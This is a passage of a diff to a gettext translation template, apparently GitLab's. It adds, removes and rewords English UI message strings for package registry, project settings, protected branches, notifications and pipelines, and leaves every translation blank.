-msgid "KeyboardShortcuts|Toggle the Performance Bar"
-msgstr ""
-
msgid "Keys"
msgstr ""
@@ -18004,6 +18499,9 @@ msgstr ""
msgid "Label lists show all issues with the selected label."
msgstr ""
+msgid "Label priority"
+msgstr ""
+
msgid "Label was created"
msgstr ""
@@ -18211,6 +18709,9 @@ msgstr ""
msgid "Learn more"
msgstr ""
+msgid "Learn more about %{link_start_tag}Jaeger configuration%{link_end_tag}."
+msgstr ""
+
msgid "Learn more about %{username}"
msgstr ""
@@ -18637,6 +19138,9 @@ msgstr ""
msgid "Link copied"
msgstr ""
+msgid "Link text"
+msgstr ""
+
msgid "Link title"
msgstr ""
@@ -18706,6 +19210,9 @@ msgstr ""
msgid "Loading"
msgstr ""
+msgid "Loading %{name}"
+msgstr ""
+
msgid "Loading contribution stats for group members"
msgstr ""
@@ -18880,6 +19387,9 @@ msgstr ""
msgid "Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account."
msgstr ""
+msgid "Manage applications that can use GitLab as an OAuth provider."
+msgstr ""
+
msgid "Manage applications that you've authorized to use your account."
msgstr ""
@@ -18919,6 +19429,9 @@ msgstr ""
msgid "Manifest import"
msgstr ""
+msgid "Manual"
+msgstr ""
+
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
@@ -18943,9 +19456,6 @@ msgstr ""
msgid "Mark as ready"
msgstr ""
-msgid "Mark as resolved"
-msgstr ""
-
msgid "Mark this issue as a duplicate of another issue"
msgstr ""
@@ -19021,6 +19531,9 @@ msgstr ""
msgid "MattermostService|Add to Mattermost"
msgstr ""
+msgid "MattermostService|After you configure the integration, view your new Mattermost commands by entering"
+msgstr ""
+
msgid "MattermostService|Command trigger word"
msgstr ""
@@ -19039,13 +19552,10 @@ msgstr ""
msgid "MattermostService|Response username"
msgstr ""
-msgid "MattermostService|See list of available commands in Mattermost after setting up this service, by entering"
-msgstr ""
-
msgid "MattermostService|Suggestions:"
msgstr ""
-msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
+msgid "MattermostService|Use this service to perform common tasks in your project by entering slash commands in Mattermost."
msgstr ""
msgid "Max 100,000 events"
@@ -19120,6 +19630,9 @@ msgstr ""
msgid "Maximum capacity"
msgstr ""
+msgid "Maximum character limit - %{limit}"
+msgstr ""
+
msgid "Maximum concurrency of Elasticsearch bulk requests per indexing operation."
msgstr ""
@@ -19222,9 +19735,6 @@ msgstr ""
msgid "Members can be added by project %{i_open}Maintainers%{i_close} or %{i_open}Owners%{i_close}"
msgstr ""
-msgid "Members invited to %{strong_start}%{project_name}%{strong_end}"
-msgstr ""
-
msgid "Members listed as CODEOWNERS of affected files."
msgstr ""
@@ -19234,9 +19744,6 @@ msgstr ""
msgid "Members of %{group} can also push to this branch: %{branch}"
msgstr ""
-msgid "Members of %{strong_open}%{project_name}%{strong_close}"
-msgstr ""
-
msgid "Members of a group may only view projects they have permission to access"
msgstr ""
@@ -19369,9 +19876,6 @@ msgstr ""
msgid "Merge Request Analytics"
msgstr ""
-msgid "Merge Request Approvals"
-msgstr ""
-
msgid "Merge Request Commits"
msgstr ""
@@ -19429,9 +19933,6 @@ msgstr ""
msgid "Merge request approvals"
msgstr ""
-msgid "Merge request approvals allow you to set the number of necessary approvals and predefine a list of approvers that will need to approve every merge request in a project."
-msgstr ""
-
msgid "Merge request dependencies"
msgstr ""
@@ -20002,6 +20503,9 @@ msgstr[3] ""
msgstr[4] ""
msgstr[5] ""
+msgid "Milestone due date"
+msgstr ""
+
msgid "Milestone lists not available with your current license"
msgstr ""
@@ -20194,6 +20698,12 @@ msgstr ""
msgid "Mirroring will only be available if the feature is included in the plan of the selected group or user."
msgstr ""
+msgid "Miscellaneous"
+msgstr ""
+
+msgid "Missing"
+msgstr ""
+
msgid "Missing OAuth configuration for GitHub."
msgstr ""
@@ -20257,6 +20767,9 @@ msgstr ""
msgid "More Information"
msgstr ""
+msgid "More Information."
+msgstr ""
+
msgid "More Slack commands"
msgstr ""
@@ -20392,6 +20905,9 @@ msgstr ""
msgid "Name"
msgstr ""
+msgid "Name can't be blank"
+msgstr ""
+
msgid "Name has already been taken"
msgstr ""
@@ -20716,6 +21232,15 @@ msgstr ""
msgid "NetworkPolicies|ports/protocols"
msgstr ""
+msgid "NetworkPolicy|Policy"
+msgstr ""
+
+msgid "NetworkPolicy|Search by policy name"
+msgstr ""
+
+msgid "NetworkPolicy|Status"
+msgstr ""
+
msgid "Never"
msgstr ""
@@ -20767,9 +21292,6 @@ msgstr ""
msgid "New Label"
msgstr ""
-msgid "New Merge Request"
-msgstr ""
-
msgid "New Milestone"
msgstr ""
@@ -20935,6 +21457,9 @@ msgstr ""
msgid "Next commit"
msgstr ""
+msgid "Next design"
+msgstr ""
+
msgid "Next file in diff"
msgstr ""
@@ -20980,6 +21505,9 @@ msgstr ""
msgid "No authentication methods configured."
msgstr ""
+msgid "No available branches"
+msgstr ""
+
msgid "No available groups to fork the project."
msgstr ""
@@ -21046,7 +21574,7 @@ msgstr ""
msgid "No estimate or time spent"
msgstr ""
-msgid "No file chosen"
+msgid "No file chosen."
msgstr ""
msgid "No file hooks found."
@@ -21097,6 +21625,9 @@ msgstr ""
msgid "No matches found"
msgstr ""
+msgid "No matching issue found. Make sure that you are adding a valid issue URL."
+msgstr ""
+
msgid "No matching labels"
msgstr ""
@@ -21184,6 +21715,9 @@ msgstr ""
msgid "No start date"
msgstr ""
+msgid "No tag selected"
+msgstr ""
+
msgid "No template"
msgstr ""
@@ -21355,6 +21889,42 @@ msgstr ""
msgid "Notification settings saved"
msgstr ""
+msgid "NotificationEmail|Assignee"
+msgid_plural "NotificationEmail|Assignees"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+msgstr[4] ""
+msgstr[5] ""
+
+msgid "NotificationEmail|Assignee: %{users}"
+msgid_plural "NotificationEmail|Assignees: %{users}"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+msgstr[4] ""
+msgstr[5] ""
+
+msgid "NotificationEmail|Reviewer"
+msgid_plural "NotificationEmail|Reviewers"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+msgstr[4] ""
+msgstr[5] ""
+
+msgid "NotificationEmail|Reviewer: %{users}"
+msgid_plural "NotificationEmail|Reviewers: %{users}"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+msgstr[4] ""
+msgstr[5] ""
+
msgid "NotificationEvent|Change reviewer merge request"
msgstr ""
@@ -21469,6 +22039,15 @@ msgstr ""
msgid "Number of Elasticsearch shards"
msgstr ""
+msgid "Number of Git pushes after which 'git gc' is run."
+msgstr ""
+
+msgid "Number of Git pushes after which a full 'git repack' is run."
+msgstr ""
+
+msgid "Number of Git pushes after which an incremental 'git repack' is run."
+msgstr ""
+
msgid "Number of LOCs per commit"
msgstr ""
@@ -21601,10 +22180,7 @@ msgstr ""
msgid "OnCallSchedules|For this rotation, on-call will be:"
msgstr ""
-msgid "OnCallSchedules|On-call schedule"
-msgstr ""
-
-msgid "OnCallSchedules|On-call schedule for the %{timezone}"
+msgid "OnCallSchedules|On-call schedules"
msgstr ""
msgid "OnCallSchedules|Please note, rotations with shifts that are less than four hours are currently not supported in the weekly view."
@@ -21694,9 +22270,6 @@ msgstr ""
msgid "OnDemandScans|Manage DAST scans"
msgstr ""
-msgid "OnDemandScans|Manage profiles"
-msgstr ""
-
msgid "OnDemandScans|Manage scanner profiles"
msgstr ""
@@ -21721,9 +22294,6 @@ msgstr ""
msgid "OnDemandScans|On-demand scans run outside the DevOps cycle and find vulnerabilities in your projects. %{learnMoreLinkStart}Learn more%{learnMoreLinkEnd}"
msgstr ""
-msgid "OnDemandScans|Run scan"
-msgstr ""
-
msgid "OnDemandScans|Save and run scan"
msgstr ""
@@ -21754,6 +22324,9 @@ msgstr ""
msgid "OnDemandScans|You cannot run an active scan against an unvalidated site."
msgstr ""
+msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
+msgstr ""
+
msgid "Once a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
msgstr ""
@@ -21844,12 +22417,6 @@ msgstr ""
msgid "Open"
msgstr ""
-msgid "Open API"
-msgstr ""
-
-msgid "Open API specification file path"
-msgstr ""
-
msgid "Open Selection"
msgstr ""
@@ -21868,9 +22435,6 @@ msgstr ""
msgid "Open in your IDE"
msgstr ""
-msgid "Open issues"
-msgstr ""
-
msgid "Open raw"
msgstr ""
@@ -21883,10 +22447,13 @@ msgstr ""
msgid "Open: %{open}"
msgstr ""
-msgid "Opened"
+msgid "OpenAPI"
msgstr ""
-msgid "Opened %{epicTimeagoDate}"
+msgid "OpenAPI specification file path"
+msgstr ""
+
+msgid "Opened"
msgstr ""
msgid "Opened MRs"
@@ -21901,6 +22468,9 @@ msgstr ""
msgid "Opens in a new window"
msgstr ""
+msgid "Operation completed"
+msgstr ""
+
msgid "Operation failed. Check pod logs for %{pod_name} for more details."
msgstr ""
@@ -21952,6 +22522,9 @@ msgstr ""
msgid "Or you can choose one of the suggested colors below"
msgstr ""
+msgid "Order jobs by"
+msgstr ""
+
msgid "Orphaned member"
msgstr ""
@@ -22060,12 +22633,18 @@ msgstr ""
msgid "PackageRegistry|Add Conan Remote"
msgstr ""
+msgid "PackageRegistry|Add Gradle Groovy DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Add NuGet Source"
msgstr ""
msgid "PackageRegistry|Add composer registry"
msgstr ""
+msgid "PackageRegistry|Allow duplicates"
+msgstr ""
+
msgid "PackageRegistry|An error occurred while saving the settings"
msgstr ""
@@ -22096,6 +22675,9 @@ msgstr ""
msgid "PackageRegistry|Copy Conan Setup Command"
msgstr ""
+msgid "PackageRegistry|Copy Gradle Groovy DSL install command"
+msgstr ""
+
msgid "PackageRegistry|Copy Maven XML"
msgstr ""
@@ -22114,6 +22696,9 @@ msgstr ""
msgid "PackageRegistry|Copy Pip command"
msgstr ""
+msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Copy and paste this inside your %{codeStart}pom.xml%{codeEnd} %{codeStart}dependencies%{codeEnd} block."
msgstr ""
@@ -22165,6 +22750,9 @@ msgstr ""
msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
msgstr ""
+msgid "PackageRegistry|Gradle Groovy DSL install command"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -22189,9 +22777,6 @@ msgstr ""
msgid "PackageRegistry|Maven Command"
msgstr ""
-msgid "PackageRegistry|Maven XML"
-msgstr ""
-
msgid "PackageRegistry|NuGet"
msgstr ""
@@ -22228,15 +22813,42 @@ msgstr ""
msgid "PackageRegistry|Recipe: %{recipe}"
msgstr ""
+msgid "PackageRegistry|Registry setup"
+msgstr ""
+
msgid "PackageRegistry|Remove package"
msgstr ""
+msgid "PackageRegistry|RubyGems"
+msgstr ""
+
msgid "PackageRegistry|Settings for Maven packages"
msgstr ""
msgid "PackageRegistry|Settings saved successfully"
msgstr ""
+msgid "PackageRegistry|Show Composer commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Conan commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Gradle Groovy DSL commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Maven commands"
+msgstr ""
+
+msgid "PackageRegistry|Show NPM commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Nuget commands"
+msgstr ""
+
+msgid "PackageRegistry|Show PyPi commands"
+msgstr ""
+
msgid "PackageRegistry|Sorry, your filter produced no results"
msgstr ""
@@ -22288,27 +22900,6 @@ msgstr ""
msgid "PackageRegistry|yarn command"
msgstr ""
-msgid "PackageType|Composer"
-msgstr ""
-
-msgid "PackageType|Conan"
-msgstr ""
-
-msgid "PackageType|Generic"
-msgstr ""
-
-msgid "PackageType|Maven"
-msgstr ""
-
-msgid "PackageType|NuGet"
-msgstr ""
-
-msgid "PackageType|PyPI"
-msgstr ""
-
-msgid "PackageType|npm"
-msgstr ""
-
msgid "Packages"
msgstr ""
@@ -22546,10 +23137,19 @@ msgstr ""
msgid "PerformanceBar|SQL queries"
msgstr ""
+msgid "PerformanceBar|Sort by duration"
+msgstr ""
+
+msgid "PerformanceBar|Sort chronologically"
+msgstr ""
+
msgid "PerformanceBar|Stats"
msgstr ""
-msgid "PerformanceBar|trace"
+msgid "PerformanceBar|Total duration"
+msgstr ""
+
+msgid "PerformanceBar|Trace"
msgstr ""
msgid "Permissions"
@@ -22630,7 +23230,7 @@ msgstr ""
msgid "PipelineCharts|An unknown error occurred while processing CI/CD analytics."
msgstr ""
-msgid "PipelineCharts|CI / CD Analytics"
+msgid "PipelineCharts|CI/CD Analytics"
msgstr ""
msgid "PipelineCharts|Failed:"
@@ -22879,9 +23479,6 @@ msgstr ""
msgid "Pipeline|Could not retrieve the pipeline status. For troubleshooting steps, read the %{linkStart}documentation%{linkEnd}."
msgstr ""
-msgid "Pipeline|Coverage"
-msgstr ""
-
msgid "Pipeline|Created"
msgstr ""
@@ -22900,6 +23497,9 @@ msgstr ""
msgid "Pipeline|Failed"
msgstr ""
+msgid "Pipeline|In progress"
+msgstr ""
+
msgid "Pipeline|Key"
msgstr ""
@@ -22975,6 +23575,18 @@ msgstr ""
msgid "Pipeline|Tag name"
msgstr ""
+msgid "Pipeline|Test coverage"
+msgstr ""
+
+msgid "Pipeline|This change will decrease the overall test coverage if merged."
+msgstr ""
+
+msgid "Pipeline|This change will increase the overall test coverage if merged."
+msgstr ""
+
+msgid "Pipeline|This change will not change the overall test coverage if merged."
+msgstr ""
+
msgid "Pipeline|Trigger author"
msgstr ""
@@ -23044,9 +23656,6 @@ msgstr ""
msgid "Please add a comment in the text area above"
msgstr ""
-msgid "Please add a list to your board first"
-msgstr ""
-
msgid "Please check the configuration file for this chart"
msgstr ""
@@ -23197,10 +23806,10 @@ msgstr ""
msgid "Please solve the captcha"
msgstr ""
-msgid "Please solve the reCAPTCHA"
+msgid "Please try again"
msgstr ""
-msgid "Please try again"
+msgid "Please try and refresh the page. If the problem persists please contact support."
msgstr ""
msgid "Please type %{phrase_code} to proceed or close this modal to cancel."
@@ -23236,6 +23845,18 @@ msgstr ""
msgid "Point to any links you like: documentation, built binaries, or other related materials. These can be internal or external links from your GitLab instance. Duplicate URLs are not allowed."
msgstr ""
+msgid "Policy project doesn't exist"
+msgstr ""
+
+msgid "Polling interval multiplier"
+msgstr ""
+
+msgid "Popularity"
+msgstr ""
+
+msgid "Postman collection"
+msgstr ""
+
msgid "Pre-defined push rules."
msgstr ""
@@ -23374,6 +23995,12 @@ msgstr ""
msgid "Prevent users from changing their profile name"
msgstr ""
+msgid "Prevent users from modifying MR approval rules in merge requests."
+msgstr ""
+
+msgid "Prevent users from modifying MR approval rules in projects and merge requests."
+msgstr ""
+
msgid "Prevent users from modifying MR approval rules."
msgstr ""
@@ -23398,6 +24025,9 @@ msgstr ""
msgid "Previous commit"
msgstr ""
+msgid "Previous design"
+msgstr ""
+
msgid "Previous file in diff"
msgstr ""
@@ -23422,6 +24052,9 @@ msgstr ""
msgid "Prioritized label"
msgstr ""
+msgid "Priority"
+msgstr ""
+
msgid "Private"
msgstr ""
@@ -23680,7 +24313,7 @@ msgstr ""
msgid "Profiles|Main settings"
msgstr ""
-msgid "Profiles|No file chosen"
+msgid "Profiles|No file chosen."
msgstr ""
msgid "Profiles|Notification email"
@@ -24070,6 +24703,9 @@ msgstr ""
msgid "ProjectOverview|You must sign in to star a project"
msgstr ""
+msgid "ProjectPage|Copy project ID"
+msgstr ""
+
msgid "ProjectPage|Project ID: %{project_id}"
msgstr ""
@@ -24085,49 +24721,82 @@ msgstr ""
msgid "ProjectService|%{service_title}: status on"
msgstr ""
-msgid "ProjectService|Event will be triggered by a push to the repository"
+msgid "ProjectService|Drone URL"
+msgstr ""
+
+msgid "ProjectService|Enter new API key"
+msgstr ""
+
+msgid "ProjectService|Enter new password"
+msgstr ""
+
+msgid "ProjectService|Event triggered when a commit is created or updated."
+msgstr ""
+
+msgid "ProjectService|Event triggered when a confidential issue is created, updated, or closed."
+msgstr ""
+
+msgid "ProjectService|Event triggered when a deployment starts or finishes."
+msgstr ""
+
+msgid "ProjectService|Event triggered when a merge request is created, updated, or merged."
+msgstr ""
+
+msgid "ProjectService|Event triggered when a new tag is pushed to the repository."
+msgstr ""
+
+msgid "ProjectService|Event triggered when a new, unique alert is recorded."
+msgstr ""
+
+msgid "ProjectService|Event triggered when a pipeline status changes."
msgstr ""
-msgid "ProjectService|Event will be triggered when a commit is created/updated"
+msgid "ProjectService|Event triggered when a wiki page is created or updated."
msgstr ""
-msgid "ProjectService|Event will be triggered when a confidential issue is created/updated/closed"
+msgid "ProjectService|Event triggered when an issue is created, updated, or closed."
msgstr ""
-msgid "ProjectService|Event will be triggered when a deployment starts or finishes"
+msgid "ProjectService|Event triggered when someone adds a comment on a confidential issue."
msgstr ""
-msgid "ProjectService|Event will be triggered when a merge request is created/updated/merged"
+msgid "ProjectService|Event triggered when someone adds a comment."
msgstr ""
-msgid "ProjectService|Event will be triggered when a new tag is pushed to the repository"
+msgid "ProjectService|Event triggered when someone pushes to the repository."
msgstr ""
-msgid "ProjectService|Event will be triggered when a new, unique alert is recorded"
+msgid "ProjectService|Issue URL"
msgstr ""
-msgid "ProjectService|Event will be triggered when a pipeline status changes"
+msgid "ProjectService|Jenkins URL"
msgstr ""
-msgid "ProjectService|Event will be triggered when a wiki page is created/updated"
+msgid "ProjectService|Leave blank to use your current API key"
msgstr ""
-msgid "ProjectService|Event will be triggered when an issue is created/updated/closed"
+msgid "ProjectService|Leave blank to use your current password"
msgstr ""
-msgid "ProjectService|Event will be triggered when someone adds a comment"
+msgid "ProjectService|Mock service URL"
msgstr ""
-msgid "ProjectService|Event will be triggered when someone adds a comment on a confidential issue"
+msgid "ProjectService|New issue URL"
msgstr ""
msgid "ProjectService|Perform common operations on GitLab project: %{project_name}"
msgstr ""
-msgid "ProjectService|To set up this service:"
+msgid "ProjectService|TeamCity URL"
+msgstr ""
+
+msgid "ProjectService|To configure this integration, you should:"
msgstr ""
-msgid "ProjectSettings|Additional merge request capabilities that influence how and when merges will be performed"
+msgid "ProjectSettings|%{link_start}What are description templates?%{link_end}"
+msgstr ""
+
+msgid "ProjectSettings|Additional settings that influence how and when merges are done."
msgstr ""
msgid "ProjectSettings|All discussions must be resolved"
@@ -24181,25 +24850,28 @@ msgstr ""
msgid "ProjectSettings|Customize this project's badges."
msgstr ""
+msgid "ProjectSettings|Determine what happens to the commit history when you merge a merge request."
+msgstr ""
+
msgid "ProjectSettings|Disable email notifications"
msgstr ""
msgid "ProjectSettings|Do not allow"
msgstr ""
-msgid "ProjectSettings|Enable 'Delete source branch' option by default"
+msgid "ProjectSettings|Enable \"Delete source branch\" option by default"
msgstr ""
-msgid "ProjectSettings|Enable merge trains."
+msgid "ProjectSettings|Enable merge trains"
msgstr ""
-msgid "ProjectSettings|Enable merged results pipelines."
+msgid "ProjectSettings|Enable merged results pipelines"
msgstr ""
msgid "ProjectSettings|Encourage"
msgstr ""
-msgid "ProjectSettings|Every merge creates a merge commit"
+msgid "ProjectSettings|Every merge creates a merge commit."
msgstr ""
msgid "ProjectSettings|Every project can have its own space to store its Docker images"
@@ -24211,7 +24883,7 @@ msgstr ""
msgid "ProjectSettings|Everyone"
msgstr ""
-msgid "ProjectSettings|Existing merge requests and protected branches are not affected"
+msgid "ProjectSettings|Existing merge requests and protected branches are not affected."
msgstr ""
msgid "ProjectSettings|Failed to protect the tag"
@@ -24223,7 +24895,7 @@ msgstr ""
msgid "ProjectSettings|Fast-forward merge"
msgstr ""
-msgid "ProjectSettings|Fast-forward merges only"
+msgid "ProjectSettings|Fast-forward merges only."
msgstr ""
msgid "ProjectSettings|Forks"
@@ -24235,10 +24907,10 @@ msgstr ""
msgid "ProjectSettings|Global"
msgstr ""
-msgid "ProjectSettings|If pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches."
+msgid "ProjectSettings|Internal"
msgstr ""
-msgid "ProjectSettings|Internal"
+msgid "ProjectSettings|Introduces the risk of merging changes that do not pass the pipeline."
msgstr ""
msgid "ProjectSettings|Issues"
@@ -24271,10 +24943,13 @@ msgstr ""
msgid "ProjectSettings|Merge requests"
msgstr ""
+msgid "ProjectSettings|Merge requests approved for merge are queued, and pipelines validate the combined results of the source and target branches before merge. %{link_start}What are merge trains?%{link_end}"
+msgstr ""
+
msgid "ProjectSettings|Merge suggestions"
msgstr ""
-msgid "ProjectSettings|No merge commits are created"
+msgid "ProjectSettings|No merge commits are created."
msgstr ""
msgid "ProjectSettings|Note: the container registry is always visible when a project is public"
@@ -24298,15 +24973,9 @@ msgstr ""
msgid "ProjectSettings|Pages for project documentation."
msgstr ""
-msgid "ProjectSettings|Pipelines"
-msgstr ""
-
msgid "ProjectSettings|Pipelines must succeed"
msgstr ""
-msgid "ProjectSettings|Pipelines need to be configured to enable this feature."
-msgstr ""
-
msgid "ProjectSettings|Private"
msgstr ""
@@ -24337,7 +25006,7 @@ msgstr ""
msgid "ProjectSettings|Security & Compliance for this project"
msgstr ""
-msgid "ProjectSettings|Set the default behavior and availability of this option in merge requests. Changes made are also applied to existing merge requests."
+msgid "ProjectSettings|Set the default behavior of this option in merge requests. Changes to this are also applied to existing merge requests."
msgstr ""
msgid "ProjectSettings|Share code with others outside the project."
@@ -24346,7 +25015,7 @@ msgstr ""
msgid "ProjectSettings|Show default award emojis"
msgstr ""
-msgid "ProjectSettings|Show link to create/view merge request when pushing from the command line"
+msgid "ProjectSettings|Show link to create or view a merge request when pushing from the command line"
msgstr ""
msgid "ProjectSettings|Skipped pipelines are considered successful"
@@ -24367,16 +25036,13 @@ msgstr ""
msgid "ProjectSettings|Submit changes to be merged upstream."
msgstr ""
-msgid "ProjectSettings|The commit message used to apply merge request suggestions"
+msgid "ProjectSettings|Supported variables:"
msgstr ""
-msgid "ProjectSettings|The variables GitLab supports:"
+msgid "ProjectSettings|The commit message used when applying merge request suggestions. %{link_start}Learn more about suggestions.%{link_end}"
msgstr ""
-msgid "ProjectSettings|These checks must pass before merge requests can be merged"
-msgstr ""
-
-msgid "ProjectSettings|This introduces the risk of merging changes that will not pass the pipeline."
+msgid "ProjectSettings|These checks must pass before merge requests can be merged."
msgstr ""
msgid "ProjectSettings|This setting is applied on the server level and can be overridden by an admin."
@@ -24388,12 +25054,15 @@ msgstr ""
msgid "ProjectSettings|This setting will be applied to all projects unless overridden by an admin."
msgstr ""
-msgid "ProjectSettings|This will dictate the commit history when you merge a merge request"
+msgid "ProjectSettings|To enable this feature, configure pipelines. %{link_start}How to configure pipelines for merge requests?%{link_end}"
msgstr ""
msgid "ProjectSettings|Transfer project"
msgstr ""
+msgid "ProjectSettings|Used for every new merge request."
+msgstr ""
+
msgid "ProjectSettings|Users can copy the repository to a new project."
msgstr ""
@@ -24421,10 +25090,10 @@ msgstr ""
msgid "ProjectSettings|What are badges?"
msgstr ""
-msgid "ProjectSettings|When approved for merge, merge requests are queued and pipelines validate the combined results of the source and target branches before merge."
+msgid "ProjectSettings|When pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches. %{link_start}How to configure pipelines for merge requests?%{link_end}"
msgstr ""
-msgid "ProjectSettings|When conflicts arise the user is given the option to rebase"
+msgid "ProjectSettings|When there is a merge conflict, the user is given the option to rebase."
msgstr ""
msgid "ProjectSettings|Wiki"
@@ -24958,6 +25627,15 @@ msgstr ""
msgid "ProtectedBranch|%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported."
msgstr ""
+msgid "ProtectedBranch|Allow force push"
+msgstr ""
+
+msgid "ProtectedBranch|Allow force push for all users with push access."
+msgstr ""
+
+msgid "ProtectedBranch|Allow force push:"
+msgstr ""
+
msgid "ProtectedBranch|Allowed to merge"
msgstr ""
@@ -24979,7 +25657,7 @@ msgstr ""
msgid "ProtectedBranch|Code owner approval"
msgstr ""
-msgid "ProtectedBranch|Does not apply to users allowed to push."
+msgid "ProtectedBranch|Does not apply to users allowed to push. Optional sections are not enforced."
msgstr ""
msgid "ProtectedBranch|Protect"
@@ -25000,6 +25678,9 @@ msgstr ""
msgid "ProtectedBranch|There are currently no protected branches, protect a branch with the form above."
msgstr ""
+msgid "ProtectedBranch|Toggle allow force push"
+msgstr ""
+
msgid "ProtectedBranch|Toggle code owner approval"
msgstr ""
@@ -25174,7 +25855,7 @@ msgstr ""
msgid "PushRules|Restrict push operations for this project."
msgstr ""
-msgid "PushRules|Save Push Rules"
+msgid "PushRules|Save push rules"
msgstr ""
msgid "PushRules|Select push rules"
@@ -25363,7 +26044,7 @@ msgstr ""
msgid "Reduce this project’s visibility?"
msgstr ""
-msgid "Reference:"
+msgid "Reference"
msgstr ""
msgid "References"
@@ -25534,7 +26215,7 @@ msgstr ""
msgid "Releases are based on Git tags and mark specific points in a project's development history. They can contain information about the type of changes and can also deliver binaries, like compiled versions of your software."
msgstr ""
-msgid "Releases are based on Git tags. We recommend tags that use semantic versioning, for example %{codeStart}v1.0%{codeEnd}, %{codeStart}v2.0-pre%{codeEnd}."
+msgid "Releases are based on Git tags. We recommend tags that use semantic versioning, for example %{codeStart}v1.0.0%{codeEnd}, %{codeStart}v2.1.0-pre%{codeEnd}."
msgstr ""
msgid "Releases documentation"
@@ -25546,7 +26227,7 @@ msgstr ""
msgid "Release|Something went wrong while creating a new release"
msgstr ""
-msgid "Release|Something went wrong while getting the release details"
+msgid "Release|Something went wrong while getting the release details."
msgstr ""
msgid "Release|Something went wrong while saving the release details"
@@ -25570,6 +26251,9 @@ msgstr ""
msgid "Remove Zoom meeting"
msgstr ""
+msgid "Remove all approvals in a merge request when new commits are pushed to its source branch."
+msgstr ""
+
msgid "Remove all or specific assignee(s)"
msgstr ""
@@ -25618,9 +26302,6 @@ msgstr ""
msgid "Remove from batch"
msgstr ""
-msgid "Remove from board"
-msgstr ""
-
msgid "Remove from epic"
msgstr ""
@@ -25867,6 +26548,9 @@ msgstr ""
msgid "Reported %{timeAgo} by %{reportedBy}"
msgstr ""
+msgid "Reported by"
+msgstr ""
+
msgid "Reported by %{reporter}"
msgstr ""
@@ -25918,7 +26602,7 @@ msgstr ""
msgid "Reports|An error occurred while loading report"
msgstr ""
-msgid "Reports|Class"
+msgid "Reports|Base report parsing error:"
msgstr ""
msgid "Reports|Classname"
@@ -25948,6 +26632,12 @@ msgstr[5] ""
msgid "Reports|Failure"
msgstr ""
+msgid "Reports|Filename"
+msgstr ""
+
+msgid "Reports|Head report parsing error:"
+msgstr ""
+
msgid "Reports|Identifier"
msgstr ""
@@ -26074,6 +26764,9 @@ msgstr ""
msgid "Repository check was triggered."
msgstr ""
+msgid "Repository checks"
+msgstr ""
+
msgid "Repository cleanup"
msgstr ""
@@ -26170,6 +26863,9 @@ msgstr ""
msgid "Requests to these domain(s)/address(es) on the local network will be allowed when local requests from hooks and services are not allowed. IP ranges such as 1:0:0:0:0:0:0:0/124 or 127.0.0.0/28 are supported. Domain wildcards are not supported currently. Use comma, semicolon, or newline to separate multiple entries. The allowlist can hold a maximum of 1000 entries. Domains should use IDNA encoding. Ex: example.com, 192.168.1.1, 127.0.0.0/28, xn--itlab-j1a.com."
msgstr ""
+msgid "Require additional authentication for administrative tasks"
+msgstr ""
+
msgid "Require admin approval for new sign-ups"
msgstr ""
@@ -26494,7 +27190,10 @@ msgstr ""
msgid "Revoked project access token %{project_access_token_name}!"
msgstr ""
-msgid "RightSidebar|Issue email: %{copyText}"
+msgid "RightSidebar|Copy email address"
+msgstr ""
+
+msgid "RightSidebar|Issue email"
msgstr ""
msgid "RightSidebar|adding a"
@@ -26638,6 +27337,9 @@ msgstr ""
msgid "Runners|Revision"
msgstr ""
+msgid "Runners|Runner #%{runner_id}"
+msgstr ""
+
msgid "Runners|Shared"
msgstr ""
@@ -26671,9 +27373,6 @@ msgstr ""
msgid "Running"
msgstr ""
-msgid "Running…"
-msgstr ""
-
msgid "Runs a number of housekeeping tasks within the current repository, such as compressing file revisions and removing unreachable objects."
msgstr ""
@@ -26770,6 +27469,9 @@ msgstr ""
msgid "Save comment"
msgstr ""
+msgid "Save deploy freeze"
+msgstr ""
+
msgid "Save password"
msgstr ""
@@ -26788,6 +27490,9 @@ msgstr ""
msgid "Saving project."
msgstr ""
+msgid "Scan Policies"
+msgstr ""
+
msgid "Scanner"
msgstr ""
@@ -26812,9 +27517,6 @@ msgstr ""
msgid "Schedules to merge this merge request (%{strategy})."
msgstr ""
-msgid "Scheduling"
-msgstr ""
-
msgid "Scheduling Pipelines"
msgstr ""
@@ -26866,6 +27568,9 @@ msgstr ""
msgid "Search an environment spec"
msgstr ""
+msgid "Search assignees"
+msgstr ""
+
msgid "Search authors"
msgstr ""
@@ -26917,6 +27622,9 @@ msgstr ""
msgid "Search forks"
msgstr ""
+msgid "Search iterations"
+msgstr ""
+
msgid "Search labels"
msgstr ""
@@ -26926,6 +27634,9 @@ msgstr ""
msgid "Search milestones"
msgstr ""
+msgid "Search or create tag"
+msgstr ""
+
msgid "Search or filter results..."
msgstr ""
@@ -27175,6 +27886,9 @@ msgstr ""
msgid "SecurityApprovals|Requires approval for vulnerabilities of Critical, High, or Unknown severity. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
